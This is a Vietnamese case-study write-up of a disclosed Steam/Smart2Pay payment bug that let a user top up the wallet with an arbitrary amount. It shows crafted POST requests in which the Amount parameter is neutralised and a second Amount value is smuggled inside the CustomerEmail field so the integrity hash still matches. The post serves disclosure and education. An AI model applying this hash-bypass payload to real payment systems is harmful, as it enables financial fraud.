Try   HackMD

Nạp Steam Wallet 1$ được 1M$

tags: Case study

Giới thiệu

Steam là một nền tảng phân phối và cung cấp thư viện game khổng lồ. Để có thể mua game trên Steam ngoài phương thức thanh toán thông thường như tài khoản ngân hàng hoặc thẻ tín dụng, chúng ta có thể sử dụng Steam Wallet, giống như ví Momo bạn có thể nạp tiền vào và mua game hoặc các sản phẩm liên quan đến game.

Details

Lỗ hổng xuất hiện tại đường dẫn https://store.steampowered.com/steamaccount/addfunds

Khi ta nhấn add funds để nạp vip và sử dụng phương thức thanh toán Smart2Pay

Khi ta bắt lại cú request nó sẽ có dạng như sau:

POST / HTTP/1.1 
Host: globalapi.smart2pay.com 
Content-Length: 388 
….. 
Connection: close 

MerchantID=1102&MerchantTransactionID=███&Amount=1337&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KSCS@cbjs.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███ 

Param CustomerEmail chính là email của người dùng. Ta không thể nào thay đổi được bất kỳ param nào của request vì request có trường Hash ở cuối được dùng để validate gói tin có bị thay đổi hay không

Khi điều tra thuật toán mã hóa phát hiện trường Hash được gen từ plaintext là các paramerter xuất hiện trong request nhưng bỏ đi dấu “=” và dấu “&”

Ví dụ: có các parameter như MerchantID=1102&MerchantTransactionID=1234&Amount=2000…

Thì trường Hash sẽ có giá trị là kết quả của hàm

hash(MerchantID1102&MerchantTransactionID1234&Amount2000…)

Vậy thì liệu có cách nào thay đổi giá trị của các param nhưng giá trị Hash được tạo vẫn hợp lệ hay không ?

Để làm được điều đó ta lợi dụng cơ chế gen hash của ứng dụng, khi nó tự loại bỏ đi dấu “=” của các param. Nếu ta thay đổi param Amount=1337 thành Amount13=37 thì khi param này được xử lý để gen hash đều sẽ cho ra Amount1337.

Ta đã có thể vô hiệu quá trường amount ban đầu của request, vậy thì bây giờ làm cách nào để ta thêm param amount khác mà ta có thể kiểm soát giá trị vào cú request ?

Vẫn tiếp tục lợi dụng hành vi của ứng dụng cụ thể hành vi loại bỏ ký tự “&” khi gen hash. Ta tạo thêm một user khác có gmail nhưng phải tuân thủ theo cú pháp <gmail_cũ>Amout10000endy@kcsc.com

Khi ấy request của ta sẽ có dạng:

POST / HTTP/1.1 
Host: globalapi.smart2pay.com 
Content-Length: 388 
…..
Connection: close 

MerchantID=1102&MerchantTransactionID=███&Amount13=37&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KCSCAmount10000endy@kcsc.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███ 

Khi này ta thêm & để ngăn cách gmail cũ, Amount1000 và phần endy@cbjs.com. Lúc này request sẽ có dạng:

POST / HTTP/1.1 
Host: globalapi.smart2pay.com 
Content-Length: 388 
….. 
Connection: close 

MerchantID=1102&MerchantTransactionID=███&Amount13=37&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KCSC&Amount=10000&endy=@kcsc.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███ 

Ta thấy CustomerEmail=KCSC&Amount=10000&endy=@kcsc.comCustomerEmail=KCSCAmount10000endy@kcsc.com khi được xử lý để gen hash đều có cùng một output đó là CustomerEmailKCSCAmount10000endy@kcsc.com

Kết hợp 2 kỹ thuật trên, ta vừa vô hiệu hóa đi param Amount mặc định của request, ta vừa thêm vào request một param Amount do ta kiểm soát nhưng không làm thay đổi giá trị của trường Hash.

Hậu quả ta có thể nạp vào Steam Wallet số tiền tùy ý chỉ cần 1$ duy nhất

Bounty

Bug hunter report lỗ hổng đã được 7500$ tiền thưởng cho công sức của mình

Refer

https://hackerone.com/reports/1295844